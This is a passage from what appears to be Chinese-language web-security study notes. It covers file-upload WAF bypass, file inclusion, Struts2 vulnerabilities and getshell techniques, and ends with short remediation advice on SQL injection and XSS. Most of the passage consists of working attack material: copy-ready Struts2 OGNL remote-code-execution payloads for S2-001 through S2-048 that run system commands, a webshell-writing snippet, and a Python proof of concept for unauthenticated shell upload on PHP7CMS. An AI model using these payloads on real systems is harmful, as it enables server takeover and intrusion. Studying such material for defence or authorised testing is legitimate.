    /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
    

    WAF绕过

  • 检验扩展名:修改后缀,如PHP3PHP5等绕过

  • 检验文件头:伪造文件头,在一句话木马前面加入GIF89a,然后将木马保存为图片格式,如.jpg/.png/.gif

    GIF89a
    ...
    
  • 检验文件类型:修改Content-Type

  • 文件包含过WAF:在不含恶意代码的脚本文件中,通过文件包含引入含有恶意代码但后缀为图片格式的文件。因为含有恶意代码的文件后缀为图片,WAF不会检查其中内容;而不含恶意代码的脚本文件中,因为不含恶意代码所以WAF不会检测出异常,从而达到绕过WAF。
    1. 将一句话木马写入1.jpg
    2. 在另一个脚本文件中,通过文件包含引入1.jpg文件
      # 如asp木马的文件包含
      <!--#include file="1.jpg" -->
      

      文件包含

      文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能。被包含的文件可以是各种文件格式,而当文件中含有恶意代码,则会形成远程命令执行或文件上传漏洞

小记 - Web安全 - 图5

原理

文件包含漏洞(File Inclusion):当服务器开启allow_url_include时,可以通过PHP的某些特性函数(includerequireinclude_once()require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或任意命令执行。文件包含漏洞分为本地文件包含(Local File Inclusion)和远程文件包含(Romote File Inclusion),其中远程文件包含漏洞是因为开启的PHP配置中的allow_url_fopen选项。

  • 文件包含类型
    • 本地文件包含(Local File Inclusion):当包含的文件在服务器本地时,叫做本地文件包含;
    • 远程文件包含(Romote File Inclusion):当包含的文件在第三方服务器时,叫做远程文件包含。
  • 常见导致文件包含的函数

    • PHP:include()include_once()require()require_once()fopen()readfile()
    • JSP/Servlet:java.io.file()java.io.filereader()
    • ASP:include fileinclude virtual

      常用技巧

  • 本地文件包含

    • 包含日志文件:通过构造语句让服务器报错并将一句话木马随报错信息写入日志,然后找到日志文件位置,通过菜刀连接触发木马
  • 远程文件包含

    • 生成一句话木马
      <?
      fputs(fopen("shell.php", "w"),'<?php eval();?>')
      ?>
      

      防御思路

  • 在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作

  • 通过过滤http/https防御RFI。但可通过http://http://的形式传入绕过防御。

    <?php
    $file = $_GET['page'];  
    //替换字符串
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);
    ?>
    
  • 配置php.ini文件

    allow_url_fopen = off
    Allow_url_include = off
    magic_quotes_gpc = on
    
  • 通过白名单策略,仅允许包含指定运行的文件,禁止其它文件。

    其它漏洞

    漏洞本质:利用可控的参数或入口来加载不可控的参数或代码,造成不可控的运行结果。

  • 点击劫持:通过覆盖不可见的框架,如 iframe 标签,误导用户点击而造成攻击行为。

  • URL跳转:借助未验证的URL跳转,将应用程序引导到不安全的第三方区域。
    • Header头跳转
    • JavaScript跳转
    • META标签跳转
  • 命令注入

    • DOS命令(Windows)
    • Bash命令(Linux)

      Struts2

  • Struts2-Wiki

  • Struts2著名RCE漏洞引发的十年之思
  • 墨者学院

    S2-001

  • 验证漏洞。在账号和密码处输入%{1+1},发现回显为2,因此判断存在漏洞

  • 查看tomcat路径,得到路径/usr/local/tomcat/

    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    
  • 查看网站路径,得到路径/usr/local/tomcat/webapps/ROOT

    %{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }
    
  • 执行命令

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    
  • 列出网站目录下的文件,需要组合命令

    %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/usr/local/tomcat/webapps/ROOT"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
    

    S2-003

    Web路径探测并打印回显。两个漏洞都需要对#字符进行编码,绕过Struts2框架对#字符的过滤。

(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&(g)(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))

S2-004

S2-004,存在文件遍历漏洞。攻击者可以使用双重编码的url和相对路径来遍历目录结构并下载static文件夹之外的文件

# ..%252f为../经过2次URL编码得到
http://localhost:8080/struts2-blank-2.0.11.1/struts..
http://localhost:8080/struts2-blank-2.0.11.1/struts/..%252f
http://exampletomcat.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Login.class/
  • 由上面可知需要在/struts/目录,使用双重编码的url和相对路径来遍历目录结构
  • 尝试访问[http://127.0.0.1/struts/..%252f](http://127.0.0.1/struts/..%25252f),得到当前目录结构
  • 继续访问[http://127.0.0.1/struts/..%252f..%252f](http://127.0.0.1/struts/..%25252f..%25252f),继续往上遍历直至根目录
  • 访问文件[http://127.0.0.1/struts/..%252f..%252f..%252f..%252f..%252f..%252f/123.jsp](http://127.0.0.1/struts/..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/123.jsp)

    S2-005

    同S2-003,对比S2-003只是前面多了一段(‘%5C43_memberAccess.allowStaticMethodAccess’)(a)=true,打开安全配置(静态方法调用)。因为官方对S2-003的修复就只是关闭静态方法调用,通过该语句打开即可绕过

('%5C43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&('%5C43c')(('%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET')(c))&(g)(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('%5C43xman.getWriter().print(%22S2-005        dir--***%22)')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))

S2-007

用户输入将被当作OGNL表达式解析,当对用户输入进行验证出现类型转换错误时。如配置了验证规则<ActionName>-validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回。

'%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'

S2-008

这个编号,官方发布了四个漏洞,其实,第1、3、4分别是S2-007、S2-009、S2-019漏洞。第2个说的是CookieInterceptor拦截器缺陷,利用道理和S2-005差不多,只不过是在cookie名称处注入,由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋,网上也并没有相关分析介绍。

S2-009

谈起这个漏洞,绝对要回顾下S2-003/S2-005漏洞,两者的共同点是同样是发生在ParametersInterceptor拦截器中的漏洞。只不过在S2-005漏洞中,OGNL表达式通过参数名处注入,造成远程命令执行,而S2-009漏洞的OGNL表达式通过参数值注入。

foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

S2-012

漏洞利用正如官方所说的,需要满足一定的条件。首先,得找到action中的字符串变量name,将OGNL表达式注入进去。随后,配置文件中得有重定向类型,并且重定向的链接中存在${name}取值操作,那么注入进的OGNL表达式就会执行。

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

S2-013

这个漏洞,确实有点不好利用,需要在JSP页面中将s:urls:a标签中的includeParams属性设定为get或all,一般很少有开发这么做,但是毕竟世界之大,无奇不有。如果存在相应的漏洞环境,直接将PoC贴在action请求或者JSP页面请求的后面。

fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D

S2-015

// 一段弹计算器的PoC
${%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()}.action

S2-016

S2-016漏洞算是Struts2漏洞界的经典,当时也是风靡一时。在请求action时,后面跟上前缀参数,前缀参数后面直接写上OGNL表达式

// Web路径探测并打印回显
redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D

S2-019

这个漏洞属于S2-008发布的第四个漏洞,也就是DebuggingInterceptor拦截器中的缺陷漏洞。这个漏洞要保证配置中的开发模式是打开的,<constant name="struts.devMode" value="true" />

debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22S2-019        dir--***%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()

S2-029

官方标注漏洞等级为Important,算是中危漏洞了。这个漏洞利用,可以说是非常难,漏洞的原理是二次OGNL表达式执行,在框架中是存在几处,比如i18n源码处、UIBean处等等

(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

S2-032/S2-033/S2-037

这三个漏洞都是抓住了DefaultActionInvocation中会把ActionProxy中的method属性取出来放入到ognlUtil.getValue(methodName + “()”, getStack().getContext(), action);方法中执行OGNL表达式。三种漏洞只是注入形式不一样

  • S2-032是通过前缀参method:OGNL表达式的形式;
  • S2-033是通过actionName!method的方式,用OGNL表达式将method替换;
  • S2-037是通过actionName/id/methodName的方式,用OGNL表达式将methodName替换。*

    %23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8
    

    S2-045/S2-046

    S2-045漏洞和S2-046漏洞非常相似,都是由报错信息包含OGNL表达式,并且被带入了buildErrorMessage这个方法运行,造成远程代码执行。

  • S2-045只有一种触发形式,就是将OGNL表达式注入到HTTP头的Content-Type中;

  • S2-046则有两种利用形式,两种触发形式其OGNL表达式注入点都是Content-Disposition的filename中。

    • 一是Content-Length 的长度值超长
    • 二是Content-Disposition的filename存在空字节,
      %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}
      

      S2-048

      在框架中存在两个函数会解析执行OGNL表达式,TextParseUtil.translateVariables方法和ActionSupport’s getText方法。S2-048漏洞就是因为struts2-struts1-plugin插件中存在将OGNL表达式传入上述方法的情况,所以导致远程代码执行

  • 漏洞地址:Integration > Struts 1 Integration ```java /integration/editGangster.action


- EXP
```java
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('需要执行的代码').getInputStream())).(#q)}

image.png
image.png

S2-052

这个漏洞跟上面说的那些注入OGNL表达式,达到远程代码执行的方式不大一样。S2-052漏洞是一种XML反序列化漏洞。漏洞本质是Struts2 REST插件的XStream组件存在反序列化漏洞,当使用XStream组件对XML格式的数据包进行反序列化操作时,没有对数据内容进行有效验证,存在反序列化后远程代码执行安全隐患。

PHP7CMS

无条件前台GETSHELL

参考:https://www.lsafe.org/?p=468

# POC
from requests import post
postData = {
  'data':'<?php phpinfo()?>'
}
postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

GetShell

普通权限GetShell

管理权限GetShell

管理权限GetShell也可以理解为进入后台GetShell,常见方法有以下几种

  • 正常上传:网站对上传文件后缀格式未过滤,直接上传Webshell即可
  • 数据库备份:网站对上传的文件后缀进行过滤,不允许上传脚本类型文件。而网站具有数据库备份功能,此时可以上传允许的后缀的木马,然后找到上传后的文件路径,通过数据库备份,将该文件备份为脚本格式。
  • 本地JS验证突破:当网站设置了JS来限制用户上传的文件类型时,可以通过删除JS验证或者通过抓包修改上传文件的后缀来突破。

    修复建议

    ```

    SQL

  1. 使用参数检查的方式,拦截带有SQL语法的参数传入应用程序。
  2. 使用预编译的处理方式处理拼接了用户参数的SQL语句。
  3. 在参数即将进入数据库执行之前,对SQL语句的语义进行完整性检查,确认语义没有发生变化。
  4. 在出现SQL注入漏洞时,要在出现问题的参数拼接进SQL语句前进行过滤或者校验,不要依赖程序最开始处防护代码。
  5. 定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的SQL语句执行。

    XSS

  6. 将重要的cookie标记为http only,使JavaScript中的document.cookie语句不能获取到cookie。
  7. 输入检查:在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容,只允许用户输入我们期望的数据。 例如:年龄的textbox中,只允许用户输入数字,而数字之外的字符都过滤掉。
  8. 输出检查:对数据进行Html Encode处理,过滤或移除特殊的Html标签,例如: